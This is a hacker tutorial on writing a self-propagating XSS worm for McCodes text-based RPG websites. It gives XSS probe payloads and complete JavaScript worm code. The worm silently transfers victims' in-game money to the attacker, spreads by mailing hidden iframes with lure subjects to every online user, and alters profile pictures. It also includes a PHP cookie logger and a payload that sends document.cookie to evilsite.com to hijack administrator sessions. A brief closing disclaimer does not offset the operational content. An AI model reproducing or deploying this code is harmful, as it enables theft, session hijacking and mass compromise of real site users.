How to write a XSS(cross site scripting) worm for McCodes sites.

Introduction

I go by the name PaPPy, and I have written a few XSS worms for various sites, some of which are based on the McCodes platform.

What is McCodes? McCodes is a “Text Based Massive Multiplayer Online Role Playing Game” script, which basically allows one to create their own text-based RPG. The developer obviously didn’t have XSS security in mind when writing the scripts. Because of this, the people installing and using their scripts are the ones left to fix the security vulnerabilities. The majority of the people who have purchased these scripts aren’t coders, and their websites go un-patched.

Brief

What I plan on explaining in this paper is how easy it is to create a worm, and use it to exploit and send in-game money/items/mail to an account with out users knowing about it. I’ll also include how to add in cookie stealing for session hijacking that way you can gain access to an administrator’s account and cover up your tracks.

Getting Started

Finding a vulnerable site isn’t hard, just GOOGLE “RPG topsite” and you will get results such as “toprpgames.com”. So let’s test and see if we can find some XSS. An easy way to test is by finding the registration page, signup page, new account page, what ever they happen to call it. Now try these various additions to the url and if you receive a javascript alert box, then that page is vulnerable.

```
register.php?ref='"><script>alert(1);</script>
register.php?REF='"><script>alert(1);</script>
register.php?id='"><script>alert(1);</script>
register.php?ID='"><script>alert(1);</script>
```

Just because the register page is vulnerable doesn’t mean that you will be able to run an XSS worm, but it’s a place to start.

Finding non-persistent XSS locations

(http://en.wikipedia.org/wiki/Cross-site_scripting#Types)

Next we need to register an account, so we can locate other XSS locations. I suggest creating a new email address. Once you are logged in, look on the layout and check if you see a link called my profile. Usually the URL looks something like: view.php?id=1000. Once you find it open it, now look on the page and mouse-over all the links. If you see URLs that end with ID=1000, these are URLs we want to test for XSS. Some common ones are:

```
mail.php?action=compose&to=
bank.php?id=
contactlist.php?action=add&ID=
```

At the end of each one of these try adding '"><script>alert(1);</script>
And once again if you receive a javascript alert box, that page is vulnerable as well.

Finding persistent XSS locations

The next places we are going to look for XSS are places where the XSS is stored on the server. Examples of this are mail, forum, profile signature, profile image, blog and gang/tribe pages. I would suggest starting with mailing yourself and I usually use something like this to test out if there are any XSS you can exploit:

```
<iframe src=http://google.com>
<script>alert(0);</script>
<img src=x onerror="alert(1);">
[img]x" onerror="alert(2);[/img]
[img=x" onerror="alert(3);]
[img]x onerror="alert(4);"[/img]
[img=x onerror="alert(5);"]
[img]x' onerror='alert(6);[/img]
[img=x' onerror='alert(7);]
[url="></a><script>alert(8);</script>]
[url]"></a><script>alert(9);</script>[/url]
[url=" onmouseover="alert(10);]
[url]" onmouseover="alert(11);[/url]
```

If you receive a javascript alert box, with a number then you know you can use that code. If it is a <script> tag or <iframe> or an onerror, that will make it a lot easier later for writing of the worm. If you do not find anything, try other pages as suggested before. You can also try going to your profile and editing the profile picture and injecting: x onerror=”alert(1); or any of the other variations above.

Example site

Now that we have found our XSS locations, for this example I am going to say that I can inject an iframe in the in-game mail body but script tags are not allowed. And the register page is vulnerable as well. So first thing I take my register page XSS vulnerability: http://site.com/register.php?REF=”><script>alert(1);</script> and I use a URL shorten site, such as tinyurl.com to turn that URL into http://tinyurl.com/7fu8nl
Next I send an email to myself with <iframe src= http://tinyurl.com/7fu8nl> and when I then read the email an alert box opens. The alert can later be changed to include a remote JavaScript file.

Plan of attack

Lets figure out what we want this worm to do, before we dive into it. As we will be using XMLHttpRequest within JavaScript, we can basically do what ever we want on the site without the user knowing. So let’s have the worm look at how much money they have and send it to us, let’s change their profile picture so you can keep track of who’s been infected, then lets have it mail everyone who is online to spread the worm and last we will steal their cookie.

Collecting form data for Worm

Next we need to collect the POST data that is processed when sending email, sending money and changing profile picture. The reason we need this, is so we can fake it with the XMLHttpRequest in the Worm.

So create an in-game email. Ex: http://site.com/mailbox.php?action=compose
Next in Internet Explorer, Click on View at the top of the page and source, for Firefox, View Page Source. What you are looking for is a <form tag that has something like <form action='/mailbox.php?action=send' method='post'>. Now save the action part, and look for the To, Subject and Message/Body.

It should look like something like:
<input type='text' name='userid' value='0'/>
<input type='text' name='subject'>
<textarea name='message'></textarea>
Save all those names, and the action, as it will be used in our form.

Now let’s collect the form data used to send money. Ex: http://site.com/sendcash.php?ID=1000 and look for the form details, to send the money to someone. It should look something like this:

```
<form action='sendcash.php?ID=1000' method='post'>
<input type='text' name='to'>
<input type='text' name='amount'>
```

Save the names and the action, just like above.

Do the same for sending mail, and for changing profile picture.

Reading a page and extracting data

The next part we are going to use the XMLHttpRequest and JavaScript to load a page (bank page) and extract data from it. My example is, visiting the bank page, looking at the amount of money they have, and then using that value to send their money to you.

Here is the code we are going to use:

```
function stripCommas(numString) {
var re = /,/g;
return numString.replace(re,"");
}

function getXMLHTTPRequest()
{
var req = false;
try
  {
   req = new XMLHttpRequest(); /* e.g. Firefox */
  }
catch(err1)
  {
  try
    {
     req = new ActiveXObject("Msxml2.XMLHTTP");  /* some versions IE */
    }
  catch(err2)
    {
    try
      {
       req = new ActiveXObject("Microsoft.XMLHTTP");  /* some versions IE */
      }
      catch(err3)
        {
         req = false;
        }
    }
  }
return req;
}

var myRequest = getXMLHTTPRequest();

var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
//alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
//alert(http_request.responseText);
result = http_request.responseText;
//document.getElementById('addfriend').innerHTML = result;
} else {
//alert('There was a problem with the request.');
}
}
}

//this is to get the online.php to extract the IDs and send the mail to them
function callAjax(){

var url="bank.php";
myRequest.open("GET",url,true);
myRequest.onreadystatechange=responseAjax;
myRequest.send(null)}

function responseAjax(){
if(myRequest.readyState==4){
if(myRequest.status==200){

var div = document.createElement('div');
div.innerHTML = myRequest.responseText;;
var val = div.getElementsByTagName('td')[4].innerHTML;

var stripped = val.replace(/(<([^>]+)>)/ig,"");
p1 = stripped.indexOf("You have $");
p2 = stripped.indexOf(" dollars");
num = stripped.substring(p1+10, p2);
var newval = stripCommas(num);
}
}
else
{
//failure
}
}
callAjax();
```

I know this looks very confusing, but there is only a few things you will need to do. First navigate to the bank page and look for text saying for example: “You have $1000 dollars”. Now view the source of that page, the page should be broken up in a

table using <td tags for each cell. Starting from the top count the number of <td tags you see until you get to the line where it says, “You have $1,000 dollars”. Now because browsers use 0 as the first value instead of 1, subtract 1 from the number you just came up with. Now lets test and make sure you found the correct TD. So for example I counted 5 <td ’s so my value will be 4. While on the bank page, place this into your URL bar.
JavaScript:alert(document.getElementsByTagName('td')[4].innerHTML);
Once again a JavaScript alert box should popup. If you see the message You have $1,000 dollars” somewhere inside that message, you have done this correct, if not try change the 4 around until you find it.

Now the next part is where we are going to extract the actual value 1000 and store it for later use. This will take a little adjusting until you get it just right. We will also be using a JavaScript packer, to make the code on one line, for testing purposes.
http://dean.edwards.name/packer/

```
JavaScript:
var val = document.getElementsByTagName('td')[4].innerHTML;
var stripped = val.replace(/(<([^>]+)>)/ig,"");
p1 = stripped.indexOf("You have $"); //change this to the non html text before the
value(include spaces)
p2 = stripped.indexOf(" dollars");  //change this to include the non html text after(include
spaces)
num = stripped.substring(p1+10, p2);  //you have have to change 10, to the amount of
letters in the p1, example You have $ is a total of 10 characters
alert(num);
```

So once you have modified the above to fit your needs, go to the packer, above, and get the one line text. Should look like

```
JavaScript:var val=document.getElementsByTagName('td')[4].innerHTML;var
stripped=val.replace(/(<([^>]+)>)/ig,"");p1=stripped.indexOf("You have
$");p2=stripped.indexOf(" dollars");num=stripped.substring(p1+10,p2);alert(num);
```

Paste that and an alert box should tell you how much money you have. In the future we will add the stripCommas function to it, just to make sure we get nothing but a number. And here is our JavaScript code to send you their money. (warning sometimes the money has to be in hand or in bank in order to send. If this is the case, just make another makePOSTRequest and withdrawal the money first).

```
function stripCommas(numString) {
var re = /,/g;
return numString.replace(re,"");
}
```

```
function getXMLHTTPRequest()
{
var req = false;
try
  {
   req = new XMLHttpRequest(); /* e.g. Firefox */
  }
catch(err1)
  {
  try
    {
     req = new ActiveXObject("Msxml2.XMLHTTP");  /* some versions IE */
    }
  catch(err2)
    {
    try
      {
       req = new ActiveXObject("Microsoft.XMLHTTP");  /* some versions IE */
      }
      catch(err3)
        {
         req = false;
        }
    }
  }
return req;
}

var myRequest = getXMLHTTPRequest();

var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
//alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
//alert(http_request.responseText);
result = http_request.responseText;
//document.getElementById('addfriend').innerHTML = result;
} else {
//alert('There was a problem with the request.');
}
}
}
```

```
//this is to get the online.php to extract the IDs and send the mail to them
function callAjax(){

var url="bank.php"; //the page we want to fetch
myRequest.open("GET",url,true);
myRequest.onreadystatechange=responseAjax;
myRequest.send(null)}

function responseAjax(){
if(myRequest.readyState==4){
if(myRequest.status==200){

var div = document.createElement('div');
div.innerHTML = myRequest.responseText;;
var val = div.getElementsByTagName('td')[4].innerHTML;

var stripped = val.replace(/(<([^>]+)>)/ig,"");
p1 = stripped.indexOf("You have $");
p2 = stripped.indexOf(" dollars");

num = stripped.substring(p1+10, p2);
var newval = stripCommas(num);
var poststr2 ='to=1000&amount=' + newval; //here is where we place the names i told you to save
makePOSTRequest("sendcash.php?ID=1000", poststr2); //here is where we place the action that i told you to save. Make sure you
change 1000 to your id

}

}
else
{
//failure
}
}
callAjax();
```

The way we would inject this is one of two ways, if you could inject <script> tags, or by hosting the above code on an offsite location. Ex: http://evilsite.com/script1.js Using the previous example that we can only use an <iframe> inside of an email

http://site.com/register.php?REF=”><script+src=http://evilsite.com></script> and once again use tinyurl and turn it into http://tinyurl.com/8d8pb7
So it would be :
<iframe src= http://tinyurl.com/8d8pb7 border=0 height=0 width=0 frameborder=0></iframe>

Now doesn’t that look a lot better? Well let’s start putting the worm together now.

```
function getXMLHTTPRequest()
{
var req = false;
try
```

```
  {
  req = new XMLHttpRequest(); /* e.g. Firefox */
  }
catch(err1)
  {
  try
    {
    req = new ActiveXObject("Msxml2.XMLHTTP");  /* some versions IE */
    }
  catch(err2)
    {
    try
      {
      req = new ActiveXObject("Microsoft.XMLHTTP");  /* some versions IE */
      }
      catch(err3)
        {
        req = false;
        }
    }
  }
return req;
}

var myRequest = getXMLHTTPRequest();

var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
//alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
//alert(http_request.responseText);
result = http_request.responseText;
//document.getElementById('addfriend').innerHTML = result;
} else {
//alert('There was a problem with the request.');
}
}
}

//this is to get the online.php to extract the IDs and send the mail to them
function callAjax(){
var url="online.php";
myRequest.open("GET",url,true);
myRequest.onreadystatechange=responseAjax;
myRequest.send(null)}

function responseAjax(){
if(myRequest.readyState==4){
if(myRequest.status==200){
//alert("The server said: "+myRequest.responseText);
var div = document.createElement('div');
div.innerHTML = myRequest.responseText;;
var val = div.getElementsByTagName('td')[11].getElementsByTagName('a'); // once again search around for the <td tag
var found = [];
var regex = /\d+/;


//and here is the main part of the worm, chosing random sayings and URLs to include in the mail to infect them
for(var i = 0; i < val.length; i++){

if(regex.test(val[i].href)){ found.push(val[i].href.match(regex)[0]); }}

var min1 = found.length - 1;
var i=0;
for (i=0;i<=min1;i++){
//here you can add random subjects to try tricking more people into it
keywords =
[
 "I got a problem",
 "Question for you",
 "HELP!!!!",
 "Hi",
 "Got a question",
 "Need Help Please",
 "Please read"
]
var keyword = keywords[Math.floor(Math.random()*keywords.length)]

//here i found a bunch of URL shorten sites, and added a random  one each time it emails, of this script and then the previous money
stealing script
shortsurl =
[
"http://site1.com",
"http://site2.com",
"http://site3.com",
"http://site4.com"
]
var shorturl = shortsurl[Math.floor(Math.random()*shortsurl.length)]
var poststr = 'toid=' + found[i] + '&sub=' + keyword + '&mes=<iframe height="0" width="0" frameborder="0" src="' + shorturl +
'"></iframe><iframe src= http://tinyurl.com/8d8pb7 border=0 height=0 width=0 frameborder=0></iframe>Hello there!';
makePOSTRequest("mail.php?step=sent", poststr);

}

//change their own profile to include an infected images
var poststr3 = "newimg=http://evilsite.com/photo.jpg";
makePOSTRequest("account.php?step=profilephoto", poststr3);

}
else
{
//failure
}
}
}
callAjax();
```

Final Writing of the Worm

Ok the above code looks familiar; most of it is used word for word from the bank script. But it starts changing around the callAjax function. But what this script does is to look up the users online, and send them a mail. The mail has a random subject and the hidden IFRAME has a random URL. This is the file that makes it a worm, as it will be spreading to others. Then to finish it off, it changes the persons profile picture to one I set. The code for finding the IDs of the people online may have to be adjusted to fit your needs, which is why I won't try to explain it. So once we save the above script file to our site: http://evilsite.com/script2.js we can then start trying to infect people.

Send them an email with the tinyurls of

```
	<iframe src= http://tinyurl.com/8d8pb7 border=0 height=0 width=0
frameborder=0></iframe><iframe src=http://tinyurl.com/9v46g6 border=0 height=0 width=0
frameborder=0></iframe>
```

This will send you their money, and start sending out emails to people trying to infect them as well.

Cookie stealing / Session Hijacking

If you want to try and get into the administrator's account, you can try and steal his cookie and then using a plug-in for FireFox: https://addons.mozilla.org/en-US/firefox/addon/573

You can change your cookie, to be theirs and you are then logged in as the admin.

Once again we will use the <IFRAME> example above. First we need to setup a cookie stealer. I prefer to use PHP, first I would sign up for a free website, a place that has free PHP access. Then create a script called cookie.php with this code

```
<?php
$cookie = urldecode($_GET['c']);
$fp = fopen("log.txt", "a");
$cookie =  $cookie . ": ".$_SERVER['REMOTE_ADDR']." at ".date("r",time())."\n";
fwrite($fp, "$cookie \n");
fclose($fp);
header("Location: http://google.com ");
?>
```

Then create a file called log.txt and set the CHMOD to 766. Now you can call save anything to the text file log.txt, via a URL.
Example: http://evilsite.com/cookie.php?c=test
Will place an entry in log.txt, saying test with your IP and the date.

So now let's use it to our advantage with a cookie stealer:
http://site.com/register.php?
REF=<script>document.location='http://evilsite.com/cookie.php?c=' +
document.cookie;</script>

If we use tinyurl we will make it: <iframe src=http://tinyurl.com/86l58o frameborder=0 height=0 width=0></iframe>

That will with out the person knowing, send you their cookie. If you use the plug-in and change your cookie to theirs, you should now be logged in as them. Have fun ;)

Wrap-up

I know this paper may have not been the best to follow, but it is my first, and I am use to having to explain stuff at a very basic level. Also I am still very new to JavaScript. If you need help writing JavaScript search for forums that can help or IRC chat rooms. With that I am sorry for the messy code, but it is what has worked for me. If you want to improve on it or combine things feel free.

Conclusion

I do not condone attacking sites with an XSS worm. Some countries see it as hacking and can be punishable by jail time. I believe you should notify the administrator once you find a security flaw. Are worms fun to see spread? Yes, but it can destroy a website. MySpace got hit with one and it nearly crippled them (http://blogoscoped.com/archive/2005-10-14-n81.html). Well that is all I have, if you have questions or comments, feel free to contact me.

Links

http://www.mccodes.com/
http://google.com
http://toprpgames.com
http://en.wikipedia.org/wiki/Cross-site_scripting#Types
http://www.microsoft.com/windows/products/winfamily/ie/default.mspx
http://www.mozilla.com/en-US/firefox/
http://tinyurl.com
https://addons.mozilla.org/en-US/firefox/addon/573
http://www.xssed.com/archive/author=PaPPy/
http://sla.ckers.org
http://milw0rm.com
http://www.xssing.com
http://blogoscoped.com/archive/2005-10-14-n81.html
http://myspace.com